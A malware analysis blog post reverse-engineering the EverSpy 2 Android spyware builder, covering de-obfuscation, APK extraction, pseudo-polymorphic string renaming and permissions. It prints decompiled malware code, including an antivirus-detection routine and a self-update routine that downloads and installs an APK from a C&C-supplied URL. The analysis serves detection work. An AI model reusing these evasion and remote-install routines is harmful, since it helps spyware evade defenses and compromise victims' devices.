EverSpy 2 Malware – Reverse Engineering

Overview

“EverSpy 2” is an advanced Android malware targeting South and North America, Europe and Asia with efficiency and high infection rates, designed to be most undetectable as possible and with a tones of features, like:

  • Auto Clicker;
  • Application Injection: Silent control, Work like real app, Ask for accessibility, Anti kill and uninstall, Screen wakeup, Re-encrypt the apk;
  • Application Manager: Show List of Application, Open App, Uninstall App, Disable / enable app;
  • Call Managment: Show List Of Call Out /in, Delete calls;
  • Call Listener;
  • Capture Google Authenticator Data
  • File Manager: Download/Upload, Secure Delete, Thumbnail/Gallery view, Copy/Past, Decrypt/Decode, Hidden / Unhidden File
  • Live Screen Control: Show Screen Live, Control Screen (VNC), Use Keyboard, Lock / unlock screen, Take silent screenshot;
  • Location: Live Location;
  • Microphone Capture;
  • Notification Listener;
  • Others: Call Number, Download Apk From Link, Show Messege On Screen, Run Commands, Account Stealer, 2FA Stealer;
  • Permission Control: Checking allowed/not allowed Permissions, Request Permissions, Request enable accessibility, Draw on app;
  • Screen Recorder;
  • SMS: Improve “Send SMS”, Send to multi number, Send to list from file, Send to all contact;
  • Web Browser Monitoring;
  • KeyLogger: Online/Live keylogger, Offline keylogger, Save it in client folder, Record everything, even pin of screen lock;
  • and More

Written in .NET 3.5 using VB.NET as primary language for coding, the provided application serves as C&C Server (Backend Server, Victim Control, Logs, etc.) and Android Application Builder platform.

EverSpy Loading Screen
EverSpy “EULA”
APK Build Settings
Victim List and Individual Victim Control

The program itself carries all necessary components to be executed into any Windows machine and all components for the APK construction, including a copy of an unobfuscated version of the malware inside the executable, not protected at all, except by the weak obfuscator applied on the .NET binary.

Reverting the .NET Obfuscation

The .NET main application “Ever Spy.exe” are obfuscated with an open-source obfuscator called “ConfuserEx“, so to revert the obfuscation we can use the “ConfuserEx-Unpacker” by “XenocodeRCE“.

Original .NET Application

Using command prompt, we are able to unpack and de-obfuscate the .NET binary into a more readable and comprehensible code.

De-obfuscation process
De-obfuscated .NET Application

Obtaining the Base APK Source Code

From all code inside the .NET assembly, the most interesting is the “Build” class, that are responsible for final APK file assembly. Beside all UI control junk code, we can find a “Step1” method that extract the APK binary from application resources and use-it to build the final APK.

The most important lines of code of everything

This 2 lines, only this 2 lines lead us to the gold, the real gold inside the all 172MB of data, and that gold are the unprotected base malware APK.

APK code hidden into .NET binary

Now, with a little help of CyberChef (ref: https://gchq.github.io/CyberChef/) we can easily recovery the compiled APK.

CyberChef decoding APK base64 data
Unprotected APK extracted from .NET Binary Resources

Now, we can talk about how this malware engineer uses a pseudo polymorphic code to try bypass many common malware detection technics from banks apps to mobile av’s software’s.

APK Build Process and Pseudo Polymorphic Code

In order to proper build the final APK, que construction process first unpack all necessary tools from file caller plataformBinary.zip that contains all executables and files necessary, including apktool, java and more. So, this way the malware developer ensures that every “customer” always has all necessary files, programs and tools, even on a new fresh Windows machine.

Than, the code writes on a file the base APK from the internal resource as mention previous. Now, the fun part starts.

To emulate a pseudo polymorphic code, the build process now de-compile the APK that was written into a file with (apktool d file.apk), change thousand strings for random ones, sign the APK with (java -jar SignApk.jar) and apply the zipalign.exe tool.

The interesting part here is how they choose the strings to replace. So, the entire base APK contains a pre-established strings everywhere, from classes names, to placeholders in strings.

Pre-established placeholders for replacement
Pre-established placeholders for replacement

Than, the .NET code simply apply a massive renames on file content:

Pre-established Replacement – Example 1
Pre-established Replacement – Example 2

To generate this crazy number of random strings and to not appears to be really freak into the code, the malware developer specify a list of more then 10,000 possible values to be used into each string and stores all this options into a randmid variable.

public object Randomunicode(int minCharacters, int maxCharacters)
{
	string str1 = "qazwsxedcrfvtgbyhnjmikolp";
	if (this.rshit == null)
	this.rshit = new Random();
	string str2 = "";
	while (str2.Length < minCharacters)
	str2 = str2 + this.randmid[this.rnd.Next(0, this.randmid.Length)] + Conversions.ToString(str1[this.rnd.Next(0, checked (str1.Length - 1))]);
	int& local;
	int num = checked (^(local = ref this.cou) + 1);
	local = num;
	return (object) (str2.ToString().ToLower() + Conversions.ToString(this.cou));
}
randmid variable example

Mobile AV Detection

A pretty simple but yes effective approach, the APK check for every known AV just querying if the package was present in device.

    private String at(Context c) {
        String nm = "";
        if (at(c, "com.Avira.android")) {
            nm = "Avira";
        } else if (at(c, "org.malwarebytes.antimalware")) {
            nm = "Malwarebytes";
        } else if (at(c, "com.avast.android.mobilesecurity")) {
            nm = "Avast";
        } else if (at(c, "com.eset.ems2.gp")) {
            nm = "ESET";
        } else if (at(c, "com.wsandroid.suite")) {
            nm = "McAfee";
        } else if (at(c, "com.kms.free")) {
            nm = "Kaspersky";
        } else if (at(c, "com.drweb")) {
            nm = "Dr.Web";
        } else if (at(c, "com.antivirus.totalsecurity.cleaner.free.booster")) {
            nm = "360 Antivirus";
        } else if (at(c, "com.avg.cleaner")) {
            nm = "AVG";
        } else if (at(c, "com.bitdefender.security")) {
            nm = "Bitdefender";
        } else if (at(c, "com.sophos.smsec")) {
            nm = "Sophos";
        } else if (at(c, "com.bitdefender.antivirus")) {
            nm = "Bitdefender";
        } else if (at(c, "com.qihoo.security.lite")) {
            nm = "360 Security Lite";
        } else if (at(c, "com.samsung.android.lool")) {
            nm = "McAfee";
        }
        if (nm.length() != 0) {
            return nm;
        }
        return "null";
    }

    private boolean at(Context c, String n) {
        try {
            c.getPackageManager().getApplicationInfo(n, 0);
            return true;
        } catch (PackageManager.NameNotFoundException e) {
            return false;
        }
    }

Auto Update

Bases on C&C command, the malware can update itself downloading the new version from C&C provided URL using HTTP Get and starting a new activity.

/* loaded from: classes.dex */
public class _update_app_ extends AsyncTask<String, Void, Void> {
    private Context context;

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // android.os.AsyncTask
    public Void doInBackground(String... strArr) {
        return null;
    }

    public void setContext(Context context, String... strArr) {
        this.context = context;
        try {
            HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(strArr[0]).openConnection();
            httpURLConnection.setRequestMethod(ClassGen3._Reblace_("GET", ""));
            httpURLConnection.setDoOutput(true);
            httpURLConnection.connect();
            File file = new File("/mnt/sdcard/Download/");
            file.mkdirs();
            File file2 = new File(file, ClassGen3._Reblace_(".update.apk", ""));
            if (file2.exists()) {
                file2.delete();
            }
            FileOutputStream fileOutputStream = new FileOutputStream(file2);
            InputStream inputStream = httpURLConnection.getInputStream();
            byte[] bArr = new byte[1024];
            while (true) {
                int read = inputStream.read(bArr);
                if (read != -1) {
                    fileOutputStream.write(bArr, 0, read);
                } else {
                    fileOutputStream.close();
                    inputStream.close();
                    Intent intent = new Intent("android.intent.action.VIEW");
                    intent.setDataAndType(ClassGen3.uriFromFile(this.context, new File(ClassGen3._Reblace_("/mnt/sdcard/Download/.update.apk", ""))), "application/vnd.android.package-archive");
                    intent.setFlags(268435456); // FLAG_ACTIVITY_NEW_TASK
                    ClassGen12.ClassGen12FOR_IN = true;
                    this.context.startActivity(intent);
                    return;
                }
            }
        } catch (Exception unused) {
        }
    }
}

Permissions

The application request several permissions on demand based on C&C request and others direct on the application manifest

  • On Demand
    • android.settings.ACCESSIBILITY_SETTINGS
    • android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
    • android.settings.action.MANAGE_OVERLAY_PERMISSION
    • android.permission.WRITE_EXTERNAL_STORAGE
    • android.permission.READ_CONTACTS
    • android.permission.READ_SMS
    • android.permission.READ_CALL_LOG
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.CAMERA
    • android.permission.RECORD_AUDIO
    • android.permission.ACCESS_COARSE_LOCATION
    • android.permission.ACCESS_FINE_LOCATION
  • On Manifest
    • android.permission.FOREGROUND_SERVICE
    • android.permission.READ_SMS
    • android.permission.READ_CALL_LOG
    • android.permission.READ_CONTACTS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE
    • android.permission.GET_ACCOUNTS
    • android.permission.RECEIVE_BOOT_COMPLETED
    • android.permission.CAMERA
    • android.permission.INTERNET
    • android.permission.SYSTEM_ALERT_WINDOW
    • android.permission.RECORD_AUDIO
    • android.permission.ACCESS_COARSE_LOCATION
    • android.permission.ACCESS_FINE_LOCATION
    • android.permission.READ_PHONE_STATE
    • android.permission.WAKE_LOCK
    • com.android.alarm.permission.SET_ALARM
    • android.permission.ACCESS_NETWORK_STATE
    • android.permission.ACCESS_WIFI_STATE
    • android.permission.CHANGE_WIFI_STATE
    • android.permission.REQUEST_INSTALL_PACKAGES
    • android.permission.CALL_PHONE
    • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
    • android.permission.SET_WALLPAPER

Conclusion

Despite the high price (~ $4,000) for the source code, the source are now been used to design and build a new kind of malwares that are targeting brazilian banks and e-commerce. And more concerning is the fact that malware continues to evolve with new technics and strategies to continue to be undetectable as possible. Luck for us, they lack some features that allows to keep on track, watching and analyzing to increase our understand of all features and design new and better detections.

Also, due to pseudo polymorphic code used, the common technics to detect malicious applications using package listing or signature based detections completely useless, so, maybe signing all permissions and intent registered on application manifest can be used for this purpose.

As recommendation, read
“Strengthening Android Security: Mitigating Banking Trojan Threats” article here

Leave a Reply

Your email address will not be published. Required fields are marked *